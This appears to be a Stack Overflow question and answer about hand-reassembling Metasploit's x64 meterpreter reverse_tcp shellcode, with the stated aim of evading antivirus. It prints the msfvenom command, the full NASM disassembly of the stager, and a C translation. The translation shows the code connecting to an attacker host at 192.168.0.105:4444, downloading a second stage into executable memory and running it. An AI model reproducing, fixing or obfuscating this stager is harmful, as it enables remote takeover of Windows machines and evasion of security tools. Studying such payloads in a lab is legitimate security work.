-1

After using metasploit's windows/x64/meterpreter/reverse_tcp shellcode on my windows 10 machine (with AVs turned off), I decided to try to create a hand-made polymorphic, null-free and custom-encoded version of the same shellcode (with the hope of evading my AVs).

To test my work flow, I produced a raw output of the shellcode using:

msfvenom -p windows/x64/meterpreter/reverse_tcp -f raw -a x64 --platform windows LHOST='my IP address' | ndisasm -b 64 -

global _start
section .text

_start:

cld                                 
and rsp,byte -0x10                  
call first_call ;dword 0xd6         
push r9                            
push r8
push rdx
push rcx
push rsi
xor rdx,rdx
mov rdx,[gs:rdx+0x60]
mov rdx,[rdx+0x18]
mov rdx,[rdx+0x20]


fifth_jmp:

mov rsi,[rdx+0x50]
movzx rcx,word [rdx+0x4a]
xor r9,r9
xor rax,rax
lodsb
cmp al,0x61
jl 0x37
sub al,0x20
ror r9d,0xd
add r9d,eax
loop 0x2d

push rdx
push r9
mov rdx,[rdx+0x20]
mov eax,[rdx+0x3c]
add rax,rdx
cmp word [rax+0x18],0x20b
jnz first_jmp ;dword 0xcb

mov eax,[rax+0x88]
test rax,rax
jz first_jmp ;0xcb

add rax,rdx
push rax
mov ecx,[rax+0x18]
mov r8d,[rax+0x20]
add r8,rdx

fourth_jmp:

jrcxz second_jmp ;0xca

dec rcx
mov esi,[r8+rcx*4]
add rsi,rdx
xor r9,r9

third_jmp:

xor rax,rax
lodsb
ror r9d,0xd
add r9d,eax
cmp al,ah
jnz third_jmp 

add r9,[rsp+0x8]
cmp r9d,r10d
jnz fourth_jmp ;0x72

pop rax
mov r8d,[rax+0x24]
add r8,rdx
mov cx,[r8+rcx*2]
mov r8d,[rax+0x1c]
add r8,rdx
mov eax,[r8+rcx*4]
add rax,rdx
pop r8
pop r8
pop rsi
pop rcx
pop rdx
pop r8
pop r9
pop r10
sub rsp,byte +0x20
push r10
jmp rax


second_jmp:

pop rax


first_jmp:  

pop r9
pop rdx
mov rdx,[rdx]
jmp dword fifth_jmp ;0x21


first_call:

pop rbp                         
mov r14,0x32335f327377          
push r14                        
mov r14,rsp                     
sub rsp,0x1a0                   
mov r13,rsp                     
mov r12,0x6900a8c05c110002      
push r12                        
mov r12,rsp                     
mov rcx,r14                     
mov r10d,0x726774c              
call rbp                        


mov rdx,r13
push dword 0x101
pop rcx
mov r10d,0x6b8029
call rbp


push byte +0x5
pop r14


ninth_jmp:

push rax
push rax
xor r9,r9
xor r8,r8
inc rax
mov rdx,rax
inc rax
mov rcx,rax
mov r10d,0xe0df0fea
call rbp


mov rdi,rax

sixth_jmp:  

push byte +0x10
pop r8
mov rdx,r12
mov rcx,rdi
mov r10d,0x6174a599
call rbp


test eax,eax
jz 0x15e
dec r14
jnz sixth_jmp ;0x13e


call second_call ;dword 0x1f1


sub rsp,byte +0x10
mov rdx,rsp
xor r9,r9
push byte +0x4
pop r8
mov rcx,rdi
mov r10d,0x5fc8d902
call rbp


cmp eax,byte +0x0
jng seventh_jmp ;0x1d1


add rsp,byte +0x20
pop rsi
mov esi,esi
push byte +0x40
pop r9
push dword 0x1000
pop r8
mov rdx,rsi
xor rcx,rcx
mov r10d,0xe553a458
call rbp


mov rbx,rax
mov r15,rax


tenth_jmp:

xor r9,r9
mov r8,rsi
mov rdx,rbx
mov rcx,rdi
mov r10d,0x5fc8d902
call rbp


cmp eax,byte +0x0
jnl eighth_jmp ;0x1e3


pop rax
push r15
pop rcx
push dword 0x4000
pop r8
push byte +0x0
pop rdx
mov r10d,0x300f2f0b
call rbp


seventh_jmp:

push rdi
pop rcx
mov r10d,0x614d6e75
call rbp


dec r14
jmp ninth_jmp ;0x11f


eighth_jmp:

add rbx,rax
sub rsi,rax
test rsi,rsi
jnz tenth_jmp ;0x1a2
jmp r15


second_call:

pop rax
push byte +0x0
pop rcx
mov r10,0x56a2b5f0
call rbp

Before making any changes to the ndisasm output (apart from modifying the call and jmp destinations from relative addresses to labels, see code above), I compiled and linked the output using:

nasm -f win64 -o meterpreter_reverse_tcp.o meterpreter_reverse_tcp.asm

/opt/mingw/x86_64-w64-mingw32/bin/ld -o meterpreter_reverse_tcp.exe meterpreter_reverse_tcp.o

But when I ran the .exe on my windows 10 machine, I got the following error:

Meterpreter_reverse_tcp.exe has stopped working. A problem caused the program to stop working correctly. Windows will close the program and notify you if a solution is available.

The output of the command 'file meterpreter_reverse_tcp.exe' is:

meterpreter_reverse_tcp.exe: PE32+ executable (console) x86-64 (stripped to external PDB), for MS Windows

What did I do wrong ?

adam
  • 179
  • 1
  • 1
  • 12
  • 2
    Use a debugger to find the reason for the crash. Also, post your code. – Jester May 17 '17 at 13:39
  • I'm voting to close this question as off-topic because it feels like exploit development belongs on reversing or security stacks. – David Hoelzer May 17 '17 at 13:54
  • @Jester, I am presently learning how to use debbugers on Windows. The goal of my question was to understand if an error occured during the process I described in my question. – adam May 17 '17 at 14:02

1 Answers1

2

your shell code if convert it to c/c++ is next:

        LoadLibraryA("ws2_32");
        WSADATA wd;
        WSAStartup(MAKEWORD(1,1), &wd);
loop:
        SOCKET s = WSASocketA(AF_INET, SOCK_STREAM, 0, 0, 0, 0);
        SOCKADDR_IN sa = { AF_INET, _byteswap_ushort(4444) };
        sa.sin_addr.s_addr = IP(192, 168, 0, 105);

        // try 5 times connect to 192.168.0.105
        int n = 5;
        do 
        {
            if (connect(s, (sockaddr*)&sa, sizeof(SOCKADDR_IN)) == NOERROR)
            {
                // we connected
                break;
            }
        } while (--n);

        ExitProcess(0);// !! error in shellcode or special damaged ?

        ULONG len;
        // get the length of shellcode
        if (0 < recv(s, (char*)&len, sizeof(len), 0))
        {
            // allocate buffer for shellcode
            PVOID pv = VirtualAlloc(0, len, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
            char* buf = (char*)pv;

            // download shellcode in loop
            do 
            {
                if (0 > (n = recv(s, buf, len, 0)))
                {
                    // download fail
                    // bug !!
                    // must be MEM_RELEASE for free memory, but used MEM_DECOMMIT in code.
                    VirtualFree(pv, 0, MEM_DECOMMIT);
                    closesocket(s);
                    goto loop;
                }

            } while (buf += n, len -= n);

            // all shellcode downloaded
            // call it
            ((FARPROC)pv)();
        }
        ExitProcess(0);

it i be say worked under debugger. if something not worked for you - debug it. especially put bp on jmp rax - the begin of shell code is function which search for exported api (by hash) and call it (jmp rax)

RbMm
  • 31,280
  • 3
  • 35
  • 56